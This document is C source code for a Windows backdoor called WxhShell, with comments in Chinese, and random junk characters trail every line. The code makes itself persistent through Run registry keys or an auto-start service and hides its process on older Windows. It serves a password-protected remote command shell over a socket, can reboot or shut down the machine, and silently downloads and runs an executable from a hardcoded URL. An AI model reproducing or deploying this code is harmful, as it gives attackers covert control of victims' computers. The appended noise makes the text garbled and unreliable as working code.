ULONG InheritedFromUniqueProcessId; $sg- P|Wo
} PROCESS_BASIC_INFORMATION; !Fxn1Z,
"^ BA5
PROCNTQSIP NtQueryInformationProcess; T5e#Ll/
2_o\Wor#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0aI@m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I.|b:c
xN
O;McPw<&\:
HANDLE hProcess; P$N5j~*
PROCESS_BASIC_INFORMATION pbi; gzH;`,
"rEfhzmyF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }NGP!
if(NULL == hInst ) return 0; *P]]7DR
iC^91!<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f}4A,%:1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +Zr~mwM=x
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w^ofH-R/
nnE'zk<"
if (!NtQueryInformationProcess) return 0; #902x*Z'c"
G|-RscPe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h05FR[</
if(!hProcess) return 0; 61&{I>~1
kq?:<!z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JdUdl_Dz
PO0Od z
CloseHandle(hProcess); )p> p3b g
&b*v7c=o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q
_K@KB
if(hProcess==NULL) return 0; h"Wpb}FT
#Z
`Tk)u/
HMODULE hMod; aK|
char procName[255]; 0pW;H|h
unsigned long cbNeeded; YDYNAOThnb
f?GoBh<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |wQ3+WN|
mvt-+K?U
CloseHandle(hProcess); vkR~nIp
}aXS MxCd
if(strstr(procName,"services")) return 1; // 以服务启动 a MFUj+^
wxj}k7_(`A
return 0; // 注册表启动 #*"V'dj;e
} Bj><0
cNF
n&|N=zh
// 主模块 9kqR-T|Q
int StartWxhshell(LPSTR lpCmdLine) G973n
{ N=T}
SOCKET wsl; Y$c7uA:4
BOOL val=TRUE; F:jtzy"
int port=0; C\Yf]J
struct sockaddr_in door; 7^M$u\a)U
eX}aa0
if(wscfg.ws_autoins) Install(); D0kz;X
h&d"| <
port=atoi(lpCmdLine); N`fFYO
;1nXJ{jKw
if(port<=0) port=wscfg.ws_port; ~OxFgKn23&
BBV>QL
WSADATA data; Ik5V?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 60A!Gob
es%py~m)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l. l)w
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0CXXCa7!
door.sin_family = AF_INET; ^*B@=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lw(tO0b2H
door.sin_port = htons(port); /z`tI
k2,`W2]^E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0nB[Udk?
closesocket(wsl); 83'+q((<
return 1; /Qef[$!(
} B<qsa QG
'
;nG4+K
if(listen(wsl,2) == INVALID_SOCKET) { mQ`2c:Rn&7
closesocket(wsl); 1MnC5[Q
return 1; U,6sR
} IqsUtWSp
Wxhshell(wsl); J:ka@2>|
WSACleanup(); gVh&c4
_j0xL{&&
return 0; g&EK^q
}m5()@Q}a
} (pP.*`JRv
kZrc^
// 以NT服务方式启动 c$BH`" <*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8JF<SQ
{ ;PU'"MeB "
DWORD status = 0; f5un7,m
DWORD specificError = 0xfffffff; z#P`m,~t0
>#l:]T
serviceStatus.dwServiceType = SERVICE_WIN32; =2NrmwWZs
serviceStatus.dwCurrentState = SERVICE_START_PENDING; g.%} +5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AL,7rYZG$
serviceStatus.dwWin32ExitCode = 0; P?n4B \!
serviceStatus.dwServiceSpecificExitCode = 0; ) )FLM^dj
serviceStatus.dwCheckPoint = 0; Vky]In=
serviceStatus.dwWaitHint = 0; 6\I1J=
C
-{9mctt/gE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9y5JV3
if (hServiceStatusHandle==0) return; a8ouk7G
R4JfH
status = GetLastError(); f>4|>kS
if (status!=NO_ERROR) G%>[7 ]H
{ q+p}U}L=
k
serviceStatus.dwCurrentState = SERVICE_STOPPED; S^p^)
fAmF
serviceStatus.dwCheckPoint = 0; rKFnivGT
serviceStatus.dwWaitHint = 0; J` gG`?
serviceStatus.dwWin32ExitCode = status; 6<QC|>p
serviceStatus.dwServiceSpecificExitCode = specificError; JsuI&v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f_xvX f:
return; Is<XMR|{
} |j9aTv[`
LW.j)wB]
serviceStatus.dwCurrentState = SERVICE_RUNNING; p8)R#QWz9
serviceStatus.dwCheckPoint = 0; 2fu<s^9dh
serviceStatus.dwWaitHint = 0; #ley3rJW]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3#dz6+
} Cj`~ntMN
i|AWaG)
// 处理NT服务事件,比如:启动、停止 eiyr^Sch.
VOID WINAPI NTServiceHandler(DWORD fdwControl) |W=-/~X
{ oA7DhU5n
switch(fdwControl) DmPsE6G}
{ 'xG J;pY
case SERVICE_CONTROL_STOP: 'bSWJ/;p)
serviceStatus.dwWin32ExitCode = 0; DQP!e6Of
serviceStatus.dwCurrentState = SERVICE_STOPPED; tvFe_*Ck
serviceStatus.dwCheckPoint = 0; +L.D3
serviceStatus.dwWaitHint = 0; 6S_mfWsi
{ dhnX\/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9s[
} m;>G]Sbe
return; \ ~+b&
case SERVICE_CONTROL_PAUSE: S5ai@Ksf
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^--R#$X
break; ~]d 9 J
case SERVICE_CONTROL_CONTINUE: Z4As'al
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2YY4 XHQS
break; RN[x\" ,
case SERVICE_CONTROL_INTERROGATE: 32SkxcfrCK
break; !9KDdU
}; p3mZw lO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #5{xWMp/0
} #\^=3A|b
fjy\Q
// 标准应用程序主函数 7.ein:M|CB
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c_+fA
{ YsVKdh
_/}$X"4
// 获取操作系统版本 u pUJF`3
OsIsNt=GetOsVer(); E# 8|h(
GetModuleFileName(NULL,ExeFile,MAX_PATH); }s@IQay+
$/g`{OI]K
// 从命令行安装 F
{L#
if(strpbrk(lpCmdLine,"iI")) Install(); .JB1#&B+
ftPhE)i
// 下载执行文件 Kg>B$fBx)
if(wscfg.ws_downexe) { "j?x gV
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p"~@q} 3
WinExec(wscfg.ws_filenam,SW_HIDE); id :
^|
} $V?sD{=W
Q$]1juqg
if(!OsIsNt) { C6a-
// 如果时win9x,隐藏进程并且设置为注册表启动 B]<N7NYn1
HideProc(); CL7/J[TS
StartWxhshell(lpCmdLine); u1u;aG
} !]A/ID0K
else 1D8S}=5&
if(StartFromService()) SIR2 Kc0
// 以服务方式启动 h>[ qXz
StartServiceCtrlDispatcher(DispatchTable); DA>nYj-s
else ;'V[8`Z@
// 普通方式启动 w ~crj$UM
StartWxhshell(lpCmdLine); 4 Sk@ v
K,|3?CjS
return 0; @g;DA)!(
} Oe@w$?
noa+h<vGb
+`Nu0y!rj
%P<fz1
=========================================== G"u4]!$/
#Y-_kQV*
s}`
|!Vyl
OiZ-y7;k^
q8/k$5E
)c9Xp:
" p=x&X~
<^{(?*
#include <stdio.h> gYGoJH1
#include <string.h> fQ!W)>mi
#include <windows.h> m3P7*S5NJ7
#include <winsock2.h> s/11TgJ
#include <winsvc.h> <GQ=PrT|/
#include <urlmon.h> E2cZk6~m{
nC??exc
#pragma comment (lib, "Ws2_32.lib") ]K>bSK^TX
#pragma comment (lib, "urlmon.lib") +/mCYI
&X`
lh P
#define MAX_USER 100 // 最大客户端连接数 l"X,[
#define BUF_SOCK 200 // sock buffer 5-({z%:P
#define KEY_BUFF 255 // 输入 buffer lAC"7 Z?F
Y*#TfWv:
#define REBOOT 0 // 重启 Zj ^e8u=T
#define SHUTDOWN 1 // 关机 oPbziB8
DyZ6&*s$
#define DEF_PORT 5000 // 监听端口 J
n2QvUAZ&
Ow5VBw(
#define REG_LEN 16 // 注册表键长度 HEa7!h[a'
#define SVC_LEN 80 // NT服务名长度 FdEUZ[IT`{
ttlMZLX{TJ
// 从dll定义API ?/sn"~"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kqo4
v;r
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3syA$0TZt
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p*@t$0i
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k_?OEkgUh
gy|o#&e]%
// wxhshell配置信息 +`B^D
struct WSCFG { la 0:jO5
int ws_port; // 监听端口 I7Abf7>*Q
char ws_passstr[REG_LEN]; // 口令 KZ AF9
int ws_autoins; // 安装标记, 1=yes 0=no ZzR0k
char ws_regname[REG_LEN]; // 注册表键名 *(]ZdB_2
char ws_svcname[REG_LEN]; // 服务名 unz~vG1Tn
char ws_svcdisp[SVC_LEN]; // 服务显示名 MMD=4;X
char ws_svcdesc[SVC_LEN]; // 服务描述信息 x6Gl|e[jv
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7'{Vh{.
int ws_downexe; // 下载执行标记, 1=yes 0=no *a{WJbau]
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SXJjagAoML
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8+Gwv
SDU
9}fez)m:g0
}; H`q[!5~8
P39oHW
// default Wxhshell configuration Y;g\ @j
struct WSCFG wscfg={DEF_PORT, m,]9\0GUd
"xuhuanlingzhe", RVs=s}|>*
1, ^4<&"aoo
"Wxhshell", Up_"qD6
"Wxhshell", 2!b##`UjA7
"WxhShell Service", }:J-o
"Wrsky Windows CmdShell Service", cb{"1z
"Please Input Your Password: ", *1_Ef).
1, @*=5a(#
"http://www.wrsky.com/wxhshell.exe", u'DpZ
"Wxhshell.exe" ^%LyT!y
}; c"1Z,M;G
"*MF=VB1
// 消息定义模块 })J}7@VPO
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uAoZ&8D6
char *msg_ws_prompt="\n\r? for help\n\r#>"; BD^1V(
I/
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }*qj,8-9
char *msg_ws_ext="\n\rExit."; "oF)u1_?
char *msg_ws_end="\n\rQuit."; |~18MW
char *msg_ws_boot="\n\rReboot..."; %@TC-
xx
char *msg_ws_poff="\n\rShutdown..."; ]0|A\bE\S
char *msg_ws_down="\n\rSave to "; ^7=7V0>,:
\W=
qqE]
char *msg_ws_err="\n\rErr!"; KU]o=\ak%
char *msg_ws_ok="\n\rOK!"; SQx&4R.
###>0(n
char ExeFile[MAX_PATH]; A%^7D.j
int nUser = 0; "QiLu=Rq
HANDLE handles[MAX_USER];
j},i=v
int OsIsNt; A&WC})H5
39F
e#u
SERVICE_STATUS serviceStatus; O.xtY@'"
SERVICE_STATUS_HANDLE hServiceStatusHandle; 3 5L0CM
HTvUt*U1
// 函数声明 T5.^
w
int Install(void); 1Ax;|.KQH
int Uninstall(void); Z;RUxe|<k
int DownloadFile(char *sURL, SOCKET wsh); 've[Mx
int Boot(int flag); 2\gIjXX"
void HideProc(void); IvI..#EzG
int GetOsVer(void); b`=g#B|
int Wxhshell(SOCKET wsl); 'V&Uh]>
void TalkWithClient(void *cs); y=EVpd
int CmdShell(SOCKET sock); 4udj"-V
int StartFromService(void); =_ b/g
int StartWxhshell(LPSTR lpCmdLine); J1~E*t^
g]`YI5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qc\D=3#Yp
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3T4HX|rC
BHZhdm@),
// 数据结构和表定义 6DgdS5GhT_
SERVICE_TABLE_ENTRY DispatchTable[] = =oI6yf&8 Z
{ {>~9?Xwh
{wscfg.ws_svcname, NTServiceMain}, \[^!
ys
{NULL, NULL} :Q@/F;Z?
}; yBIX<P)vE'
&/"a
E
// 自我安装 DX+zK'34
int Install(void) aW{5m@p{"
{ 0\B{~1(^
char svExeFile[MAX_PATH]; +8itP>
HKEY key; %d(= >
strcpy(svExeFile,ExeFile); Ot:}Ncq^\O
57gt"f
// 如果是win9x系统,修改注册表设为自启动 dl6U]v=
if(!OsIsNt) { 8UqH"^9.Q7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h&}iH
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7C,giCYU
RegCloseKey(key); &vn2u bauS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GdVF;
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k,k>w#&
RegCloseKey(key); IOdxMzF`m
return 0; @|Yn~PwKs
} 1
ptyiy
} m_@XoS
yxI
} 5\#I4\
else { g<.Is
V
_ezRE"F5
// 如果是NT以上系统,安装为系统服务 *KY:U&*
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xdM'v{N#m
if (schSCManager!=0) s*<T'0&w0S
{ Fs%`W4/
SC_HANDLE schService = CreateService {B4qeG5
( m;MJ{"@A'
schSCManager, s8>y&b.
wscfg.ws_svcname, #5z0~Mg-X
wscfg.ws_svcdisp, rqqd} kA
SERVICE_ALL_ACCESS, 2Ki_d
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dm5 Uy^F}
SERVICE_AUTO_START, bp=r]nO
SERVICE_ERROR_NORMAL, !U m9ceK
svExeFile, ftR& 5!Wm
NULL, tkr&Fs"t+
NULL, c$7~EP
NULL, .'<K$:8@|
NULL, }YFM40H
NULL ?u@jedQ
); UF#!6"C@
if (schService!=0) sg2% BkTI
{
;(Ug]U%3_
CloseServiceHandle(schService); M>p<1`t-&
CloseServiceHandle(schSCManager); _avf%OS
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WK(X/!1/k
strcat(svExeFile,wscfg.ws_svcname); ~U"m"zpLP
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 86Q3d%;-yo
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?{B5gaU9F
RegCloseKey(key); kex V~Q
return 0; ka\{?:r,8
} ,S=[#
} fPUr O
CloseServiceHandle(schSCManager); 9 $$uk'}w!
} 6` TwP\!$/
} 0ck3II
*0!p_Hco
return 1; )c' 45bD
} u5k{.&
P{6$".kIY
// 自我卸载 Jp]?tlT
int Uninstall(void) '%[ Y
{ n*wQgC'vw
HKEY key; {&IB[Y6
e!*]y&W
if(!OsIsNt) { TsK!36cg
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Qt(Yu*s
RegDeleteValue(key,wscfg.ws_regname); xBTx`+%WS
RegCloseKey(key); kWZY+jyt P
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nbd4>M<
RegDeleteValue(key,wscfg.ws_regname); lTMY|{9
RegCloseKey(key); oR2?$KF
return 0; nXLz<wE
} U`qC.s(L
} #:gl+
} w8 :[w
else { Ul_Zn
`z(o01y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zpkd8@g@
if (schSCManager!=0) MOaI~xZ
{ 5:IDl1f5
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :$b` n
if (schService!=0) //2O#Fg{/
{ -K=.A*}
if(DeleteService(schService)!=0) { M=liG+d
CloseServiceHandle(schService); .Q!d[vL
CloseServiceHandle(schSCManager); wBXa;.
return 0; hi!A9T3%}M
} FE!jN-#
CloseServiceHandle(schService); +Pl)E5W!=`
} R QQ'Wg
CloseServiceHandle(schSCManager); zX_F+"]THt
} spfW)v/T!
} kJ5z['4?
(`dz37@*
return 1; UF!qp
} D;0>-
rH`\UZ{cc
// 从指定url下载文件 q!:dZES
int DownloadFile(char *sURL, SOCKET wsh) F}u'A,Hc
{ P!+Gwm{
HRESULT hr; p*Q-o
char seps[]= "/"; ]M*`Y[5"
char *token; u?`{s88_mF
char *file; $vu*# .w
char myURL[MAX_PATH]; 'Eur[~k
char myFILE[MAX_PATH]; fY&TI}Y
Pb'(Y
strcpy(myURL,sURL); wPM>-F
token=strtok(myURL,seps); T5u71C_wmt
while(token!=NULL) EN2t}rua
{ $~b6H]"9
file=token; Q<V(#)*
token=strtok(NULL,seps); nm1dd{U6^
} /*y5W-'d^
?-)!dl%N
GetCurrentDirectory(MAX_PATH,myFILE); !{^kH;*u
strcat(myFILE, "\\"); lZ-U/$od
strcat(myFILE, file); XZKlE
F?
send(wsh,myFILE,strlen(myFILE),0); J~5V7B
send(wsh,"...",3,0); jV}8VK*`+
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Qo37B2
if(hr==S_OK) i6KfH\{N
return 0; .3C::~:
else
%!nI]|
return 1; v`,!wS
!0@4*>n
} ?{ExBZNa
Bn]=T
// 系统电源模块 ^ 4<